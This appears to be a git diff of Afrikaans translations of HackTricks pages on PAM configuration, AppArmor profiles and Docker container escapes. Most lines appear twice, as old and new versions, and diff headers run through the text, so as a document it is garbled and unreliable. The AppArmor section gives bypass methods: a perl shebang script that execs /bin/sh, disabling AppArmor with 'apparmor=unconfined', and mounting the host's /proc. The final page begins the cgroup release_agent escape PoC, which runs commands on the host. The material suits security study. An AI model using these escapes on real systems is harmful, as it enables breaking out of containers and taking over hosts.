'N Voorbeeld van 'n PAM-konfigurasie vir die aanmeldingsdiens kan so lyk:
'n Voorbeeld van 'n PAM-konfigurasie vir die aanmeldingsdiens kan soos volg lyk:
```text
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
@ -37,39 +50,52 @@ session required /lib/security/pam_unix_session.so
```
### **PAM-bestuursgebiede**
Hierdie gebiede, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die verifikasie en sessiebestuurproses:
Hierdie gebiede, of bestuursgroepe, sluit **auth**, **rekening**, **wagwoord**, en **sessie** in, elk verantwoordelik vir verskillende aspekte van die verifikasie en sessiebestuurproses:
- **Auth**: Bevestig die identiteit van die gebruiker, dikwels deur 'n wagwoord te versoek.
- **Account**: Hanteer rekeningverifikasie, deur te kyk na voorwaardes soos groepslidmaatskap of tyd-van-dag-beperkings.
- **Password**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
- **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos die koppel van gidslyste of die instelling van hulpbronlimiete.
- **Auth**: Valideer gebruikeridentiteit, dikwels deur 'n wagwoord te versoek.
- **Rekening**: Hanteer rekeningverifikasie, deur voorwaardes soos groepslidmaatskap of tyd-van-dag beperkings te kontroleer.
- **Wagwoord**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
- **Sessie**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos die koppel van gids of die instel van hulpbronlimiete.
### **PAM-modulebeheer**
### **PAM-modulekontroles**
Beheer bepaal die module se reaksie op sukses of mislukking, en beïnvloed die algehele verifikasieproses. Dit sluit in:
Kontroles bepaal die module se reaksie op sukses of mislukking, wat die algehele verifikasieproses beïnvloed. Dit sluit in:
- **Vereis**: Mislukking van 'n vereiste module lei uiteindelik tot mislukking, maar slegs nadat alle volgende modules nagegaan is.
- **Vereiste**: Onmiddellike beëindiging van die proses by mislukking.
- **Voldoende**: Sukses omseil die res van die kontrole van dieselfde gebied tensy 'n volgende module misluk.
- **Opsioneel**: Veroorsaak slegs mislukking as dit die enigste module in die stapel is.
- **Voldoende**: Sukses verbygaan die res van dieselfde bestuursgebied se kontroles tensy 'n volgende module misluk.
- **Opsioneel**: Veroorsaak slegs mislukking as dit die enigste module in die stap is.
### Voorbeeldscenario
In 'n opset met verskeie verifikasiemodules volg die proses 'n streng volgorde. As die `pam_securetty`-module vind dat die aanmeldings-terminal ongemagtig is, word root-aanmeldings geblokkeer, maar alle modules word steeds verwerk as gevolg van sy "vereis" status. Die `pam_env` stel omgewingsveranderlikes in, wat moontlik kan bydra tot die gebruikerservaring. Die `pam_ldap`- en `pam_unix`-modules werk saam om die gebruiker te verifieer, met `pam_unix` wat probeer om 'n voorheen verskafte wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in verifikasiemetodes verbeter.
In 'n opstelling met meervoudige verifikasiemodules volg die proses 'n streng volgorde. As die `pam_securetty`-module vind dat die aanmeldingsterminal ongemagtig is, word root-aanmeldings geblokkeer, maar alle modules word steeds verwerk as gevolg van sy "vereiste" status. Die `pam_env` stel omgewingsveranderlikes in, wat moontlik kan help met gebruikerervaring. Die `pam_ldap` en `pam_unix`-modules werk saam om die gebruiker te verifieer, met `pam_unix` wat probeer om 'n voorheen voorsiene wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in verifikasiemetodes verbeter.
## Verwysings
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorname en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,38 +2,52 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
AppArmor is 'n **kernel-verbetering wat ontwerp is om die hulpbronne wat beskikbaar is vir programme te beperk deur middel van per-program profiele**, wat effektief Verpligte Toegangsbeheer (MAC) implementeer deur toegangsbeheerkenmerke direk aan programme te koppel in plaas van aan gebruikers. Hierdie stelsel werk deur profiele in die kernel te laai, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan benader, soos netwerkverbindinge, rou sokkeltoegang en lêertoestemmings.
AppArmor is 'n **kernel-verbetering ontwerp om die hulpbronne wat beskikbaar is vir programme deur per-program profiele te beperk**, wat effektief Verpligte Toegangsbeheer (MAC) implementeer deur toegangsbeheer-eienskappe direk aan programme te koppel in plaas van gebruikers. Hierdie stelsel werk deur **profiele in die kernel te laai**, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan benader, soos netwerkverbindinge, rou sokkeltoegang, en lêertoestemmings.
Daar is twee bedryfsmodusse vir AppArmor-profiel:
Daar is twee bedryfsmodusse vir AppArmor-profiels:
- **Handhawingsmodus**: Hierdie modus dwing aktief die beleide wat binne die profiel gedefinieer is, deur aksies wat hierdie beleide oortree te blokkeer en enige pogings om dit te oortree deur stelsels soos syslog of auditd te log.
- **Klaagmodus**: In teenstelling met handhawingsmodus blokkeer klaagmodus nie aksies wat teen die beleide van die profiel ingaan nie. Dit log eerder hierdie pogings as beleidoortredings sonder om beperkings af te dwing.
- **Afdwingingsmodus**: Hierdie modus dwing aktief die beleide wat binne die profiel gedefinieer is, blokkeer aksies wat hierdie beleide oortree en log enige pogings om dit te breek deur stelsels soos syslog of auditd.
- **Klaagmodus**: Anders as afdwingingsmodus, blokkeer klaagmodus nie aksies wat teen die profiel se beleide ingaan nie. Dit log eerder hierdie pogings as beleidoortredings sonder om beperkings af te dwing.
### Komponente van AppArmor
- **Kernelmodule**: Verantwoordelik vir die handhawing van beleide.
- **Kernelmodule**: Verantwoordelik vir die afdwinging van beleide.
- **Beleide**: Spesifiseer die reëls en beperkings vir programgedrag en hulpbronbenadering.
- **Parser**: Laai beleide in die kernel vir handhawing of verslagdoening.
- **Parser**: Laai beleide in die kernel vir afdwinging of verslagdoening.
- **Hulpprogramme**: Dit is gebruikersmodusprogramme wat 'n koppelvlak bied vir interaksie met en bestuur van AppArmor.
### Profielepad
### Profiele-pad
AppArmor-profiel word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` kan jy die bineêre lyste wat deur 'n profiel beperk word, lys. As jy die karakter "/" kan verander na 'n punt van die pad van elke gelysde bineêre lêer, sal jy die naam van die apparmor-profiel binne die genoemde vouer verkry.
Apparmor-profiels word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` sal jy in staat wees om die bineêre lêers te lys wat deur 'n profiel beperk word. As jy die karakter "/" vir 'n punt van die pad van elke gelysde bineêre lêer kan verander, sal jy die naam van die apparmor-profiel binne die genoemde vouer kry.
Byvoorbeeld, 'n **apparmor**-profiel vir _/usr/bin/man_ sal geleë wees in _/etc/apparmor.d/usr.bin.man_
@ -49,8 +63,8 @@ aa-mergeprof #used to merge the policies
```
## Skep 'n profiel
* Om die betrokke uitvoerbare lêer aan te dui, word **absoluut paaie en wildcards** toegelaat (vir lêer globbing) om lêers te spesifiseer.
* Om die toegang wat die binêre lêer oor **lêers** sal hê aan te dui, kan die volgende **toegangsbeheerstellings** gebruik word:
* Om die geaffekteerde uitvoerbare lêer aan te dui, word **absolute paaie en wildcards** toegelaat (vir lêer globbing) vir die spesifisering van lêers.
* Om die toegang aan te dui wat die binêre lêer oor **lêers** sal hê, kan die volgende **toegangsbeheer** gebruik word:
* **r** (lees)
* **w** (skryf)
* **m** (geheuekaart as uitvoerbare lêer)
@ -59,22 +73,22 @@ aa-mergeprof #used to merge the policies
* **ix** (om 'n ander program uit te voer met die nuwe program wat beleid erf)
* **Px** (uitvoer onder 'n ander profiel, na skoonmaak van die omgewing)
* **Cx** (uitvoer onder 'n kinderprofiel, na skoonmaak van die omgewing)
* **Ux** (uitvoer sonder beperking, na skoonmaak van die omgewing)
* **Veranderlikes** kan in die profiele gedefinieer word en kan van buite die profiel gemanipuleer word. Byvoorbeeld: @{PROC} en @{HOME} (voeg #include \<tunables/global> by die profiel-lêer in)
* **Verbiedingsreëls word ondersteun om toelaatreëls te oorskryf**.
* **Ux** (uitvoer onbeperk, na skoonmaak van die omgewing)
* **Veranderlikes** kan in die profiele gedefinieer word en kan van buite die profiel gemanipuleer word. Byvoorbeeld: @{PROC} en @{HOME} (voeg #include \<tunables/global> by die profiel lêer)
* **Weieringsreëls word ondersteun om toelaatreëls te oorskry**.
### aa-genprof
Om maklik 'n profiel te begin skep, kan apparmor jou help. Dit is moontlik om **apparmor die aksies wat deur 'n binêre lêer uitgevoer word te laat ondersoek en dan te besluit watter aksies jy wil toelaat of verbied**.\
Om maklik te begin met die skep van 'n profiel, kan apparmor jou help. Dit is moontlik om **apparmor die aksies wat deur 'n binêre lêer uitgevoer word, te laat inspekteer en dan te besluit watter aksies jy wil toelaat of weier**.\
Jy hoef net die volgende uit te voer:
```bash
sudo aa-genprof /path/to/binary
```
Dan, in 'n ander konsole, voer al die aksies uit wat die binêre gewoonlik sal uitvoer:
Dan, in 'n ander konsole, voer al die aksies uit wat die binêre lêer gewoonlik sal uitvoer:
```bash
/path/to/binary -a dosomething
```
Dan, druk "**s**" in die eerste konsole en dui dan aan of jy wil ignoreer, toelaat, of watookal met die opgeneemde aksies. Druk "**f**" as jy klaar is en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
Dan, druk in die eerste konsole "**s**" en dui dan in die opgeneemde aksies aan of jy wil ignoreer, toelaat, of watookal. Wanneer jy klaar is, druk "**f**" en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Met die pyltjiesleutels kan jy kies wat jy wil toelaat/weier/watookal
@ -108,7 +122,7 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
Let daarop dat niks standaard toegelaat word in 'n geskepde profiel nie, so alles word ontken. Jy sal lyne soos `/etc/passwd r,` moet byvoeg om die binêre lees `/etc/passwd` byvoorbeeld toe te laat.
Let daarop dat standaard in 'n geskepte profiel niks toegelaat word nie, dus word alles ontken. Jy sal lyne soos `/etc/passwd r,` moet byvoeg om die binêre lees `/etc/passwd` byvoorbeeld toe te laat.
{% endhint %}
Jy kan dan die nuwe profiel **afdwing** met
@ -135,12 +149,12 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logboeke
Voorbeeld van **AUDIT** en **DENIED** logboeke van die uitvoerbare lêer **`service_bin`** in _/var/log/audit/audit.log_:
Voorbeeld van **AUDIT** en **DENIED** logboeke vanaf _/var/log/audit/audit.log_ van die uitvoerbare **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
Jy kan ook hierdie inligting bekom deur gebruik te maak van:
Jy kan ook hierdie inligting kry deur:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,7 +174,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Merk op hoe die profiel **docker-profiel** van Docker standaard gelaai word:
Merk op hoe die profiel **docker-profile** van docker standaard gelaai word:
```bash
sudo aa-status
apparmor module is loaded.
@ -176,49 +190,49 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Standaard word die **Apparmor docker-default profiel** gegenereer vanaf [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Standaard word die **Apparmor docker-standaardprofiel** gegenereer vanaf [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**docker-default profiel opsomming**:
**docker-standaardprofiel Opsomming**:
* **Toegang** tot alle **netwerkverbindings**
* **Geen bevoegdheid** is gedefinieer (Sommige bevoegdhede sal egter kom van die insluiting van basiese basisreëls, d.w.s. #include \<abstractions/base>)
* **Toegang** tot alle **netwerke**
* Geen **vermoë** is gedefinieer (Tog sal sommige vermoëns kom vanaf die insluiting van basiese basisreëls, d.w.s. #include \<abstractions/base>)
* **Skryf** na enige **/proc** lêer is **nie toegelaat**
* Ander **subdossiers**/**lêers** van /**proc** en /**sys** word **ontken** lees/skryf/vergrendel/skakel/uitvoer toegang
* Ander **subdossiers**/**lêers** van /**proc** en /**sys** word **ontsê** lees/skryf/slot/skakel/uitvoer toegang
* **Monteer** is **nie toegelaat**
* **Ptrace** kan slegs uitgevoer word op 'n proses wat beperk word deur dieselfde apparmor profiel
* **Ptrace** kan slegs uitgevoer word op 'n proses wat beperk word deur dieselfde **apparmor-profiel**
Sodra jy 'n **docker houer uitvoer**, behoort jy die volgende uitset te sien:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Let wel dat **apparmor selfs blokkeer bevoegdhede-voorregte** wat aan die houer verleen word. Byvoorbeeld, dit sal in staat wees om **toestemming om binne /proc te skryf te blokkeer selfs as die SYS\_ADMIN bevoegdheid verleen word**, omdat die standaard docker apparmor-profiel hierdie toegang ontken:
Merk op dat **apparmor selfs bevoegdhede-voorregte sal blokkeer** wat standaard aan die houer toegeken is. Byvoorbeeld, dit sal in staat wees om **toestemming om binne /proc te skryf te blokkeer selfs as die SYS\_ADMIN bevoegdheid toegeken is** omdat die standaard docker apparmor profiel hierdie toegang ontken:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
Jy moet **apparmor deaktiveer** om sy beperkings te omseil:
Jy moet **apparmor uitskakel** om sy beperkings te omseil:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Let daarop dat **AppArmor** standaard ook die houer verbied om van binne af vouers te monteer, selfs met die SYS\_ADMIN-vermoë.
Merk op dat standaard **AppArmor** ook **die houer verbied om** van binne af volumes te koppel selfs met SYS\_ADMIN-vermoë.
Let daarop dat jy **vermoëns** kan **byvoeg/verwyder** aan die docker-houer (dit sal steeds beperk word deur beskermingsmetodes soos **AppArmor** en **Seccomp**):
Merk op dat jy **vermoëns kan byvoeg/verwyder** aan die docker-houer (dit sal steeds beperk word deur beskermingsmetodes soos **AppArmor** en **Seccomp**):
* `--cap-add=SYS_ADMIN` gee `SYS_ADMIN`-vermoë
* `--cap-add=SYS_ADMIN` gee `SYS_ADMIN` vermoë
* `--cap-add=ALL` gee alle vermoëns
* `--cap-drop=ALL --cap-add=SYS_PTRACE` verwyder alle vermoëns en gee slegs `SYS_PTRACE`
* `--cap-drop=ALL --cap-add=SYS_PTRACE` laat alle vermoëns val en gee slegs `SYS_PTRACE`
{% hint style="info" %}
Gewoonlik, as jy **vind** dat jy 'n **bevoorregte vermoë** binne 'n **docker**-houer het, maar 'n deel van die **aanval nie werk nie**, sal dit wees omdat docker **apparmor dit voorkom**.
Gewoonlik, wanneer jy **vind** dat jy 'n **bevoorregte vermoë** beskikbaar het **binne** 'n **docker**-houer **maar** 'n deel van die **uitbuiting nie werk nie**, sal dit wees omdat docker **apparmor dit voorkom**.
{% endhint %}
### Voorbeeld
(Voorbeeld vanaf [**hier**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
(Voorbeeld van [**hier**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Om die AppArmor-funksionaliteit te illustreer, het ek 'n nuwe Docker-profiel "mydocker" geskep met die volgende lyn bygevoeg:
Om AppArmor-funksionaliteit te illustreer, het ek 'n nuwe Docker-profiel "mydocker" geskep met die volgende lyn bygevoeg:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
@ -226,37 +240,35 @@ Om die profiel te aktiveer, moet ons die volgende doen:
```
sudo apparmor_parser -r -W mydocker
```
Om die profiele te lys, kan ons die volgende opdrag gebruik. Die opdrag hieronder lys my nuwe AppArmor-profiel.
Om die profiele te lys, kan ons die volgende bevel gebruik. Die bevel hieronder lys my nuwe AppArmor-profiel.
```
$ sudo apparmor_status | grep mydocker
mydocker
```
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om "/etc/" te verander, aangesien die AppArmor-profiel skryftoegang tot "/etc" voorkom.
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om "/etc/" te verander aangesien die AppArmor-profiel skryftoegang tot "/etc" voorkom.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Omspring1
### AppArmor Docker Omgang1
Jy kan vind watter **apparmor-profiel 'n houer laat loop** deur die volgende te gebruik:
Jy kan vind watter **apparmor profiel 'n houer** gebruik deur:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Dan kan jy die volgende lyn uitvoer om die presiese profiel wat gebruik word te vind:
Dan kan jy die volgende lyn hardloop om **die presiese profiel wat gebruik word te vind**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In die vreemde geval kan jy die apparmor docker-profiel wysig en dit herlaai. Jy kan die beperkings verwyder en dit "omseil".
### AppArmor Docker Omskip2
### AppArmor Docker Omseiling 2
**AppArmor is pad-gebaseer**, dit beteken dat selfs al mag dit dalk **lêers binne 'n gids soos** `/proc` **beskerm**, as jy kan **konfigureer hoe die houer uitgevoer gaan word**, kan jy die proc-gids van die gasheer binne **`/host/proc`** **aankoppel** en dit **sal nie meer deur AppArmor beskerm word nie**.
AppArmor is pad-gebaseer, dit beteken dat selfs al beskerm dit dalk lêers binne 'n gids soos `/proc`, as jy kan konfigureer hoe die houer uitgevoer gaan word, kan jy die proc-gids van die gasheer binne `/host/proc` monteer en dit sal nie meer deur AppArmor beskerm word nie.
### AppArmor Shebang Omskip
### AppArmor Shebang Omseiling
In [hierdie fout](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe selfs al voorkom jy dat perl uitgevoer word met sekere hulpbronne, as jy net 'n skulpskrip skep wat in die eerste lyn **`#!/usr/bin/perl`** spesifiseer en jy voer die lêer direk uit, sal jy in staat wees om enigiets uit te voer. Byvoorbeeld:
In [**hierdie fout**](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe **selfs al voorkom jy dat perl met sekere hulpbronne uitgevoer word**, as jy net 'n skalie-skripsie **skep wat** in die eerste lyn **`#!/usr/bin/perl`** **spesifiseer** en jy **voer die lêer direk uit**, sal jy in staat wees om enigiets uit te voer. Byvoorbeeld:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -266,16 +278,28 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,21 +1,34 @@
# Docker release_agent cgroups ontsnapping
# Docker release\_agent cgroups ontsnapping
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
**Vir verdere besonderhede, verwys na die [oorspronklike blogpos](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** Hierdie is net 'n opsomming:
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **steelmalware**.
Hul primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
**Vir verdere besonderhede, verwys na die [oorspronklike blogpos](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** Dit is net 'n opsomming:
Oorspronklike PoC:
```shell
@ -25,50 +38,62 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups uit te buit deur 'n `release_agent` lêer te skep en sy aanroeping te veroorsaak om willekeurige opdragte op die houer-gashouer uit te voer. Hier is 'n ontleding van die stappe wat betrokke is:
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te misbruik deur 'n `release_agent` lêer te skep en sy aanroeping te trigger om willekeurige bevele op die houer-gashuis uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
1. **Berei die omgewing voor:**
- 'n Gids `/tmp/cgrp` word geskep om as 'n koppelvlakpunt vir die cgroup te dien.
- Die RDMA cgroup-beheerder word aan hierdie gids gekoppel. In die geval van die afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
1. **Berei die Omgewing Voor:**
- 'n Gids `/tmp/cgrp` word geskep om as 'n koppelvlak vir die cgroup te dien.
